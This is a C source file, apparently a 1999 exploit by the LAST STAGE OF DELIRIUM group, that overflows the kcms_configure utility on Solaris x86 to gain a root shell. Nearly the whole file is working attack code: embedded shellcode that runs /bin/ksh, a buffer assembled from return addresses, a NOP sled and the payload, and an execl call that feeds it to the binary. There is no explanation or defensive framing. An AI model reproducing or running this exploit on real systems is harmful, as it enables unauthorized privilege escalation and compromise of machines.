kcms_configure-x86.c

/*## copyright LAST STAGE OF DELIRIUM jun 1999 poland kcms_configure-x86.c

/*## copyright LAST STAGE OF DELIRIUM jun 1999 poland *://lsd-pl.net/ #*/
/*## /usr/openwin/bin/kcms_configure #*/

#define ADRNUM 2000
#define NOPNUM 6000
#define ALLIGN 3

char shellcode[]=
"\xeb\x1b" /* jmp <shellcode+30> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"\x83\xef\x3c" /* subl $0x3c,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x7,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xe0\xff\xff\xff" /* call <shellcode+2> */
"/bin/ksh"
;

char jump[]=
"\x8b\xc4" /* movl %esp,%eax */
"\xc3" /* ret */
;

main(int argc,char **argv){
char buffer[10000],adr[4],*b;
int i;

printf("copyright LAST STAGE OF DELIRIUM jun 1999 poland //lsd-pl.net/\n");
printf("/usr/openwin/bin/kcms_configure for solaris 2.5.1 2.7 x86\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+1280+5000;

b=buffer;
for(i=0;i<ALLIGN;i++) *b++=0xff;
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

execl("/usr/openwin/bin/kcms_configure","lsd","-P",buffer,"profile",0);
}
/* www.hack.co.za [10 August 2000]*/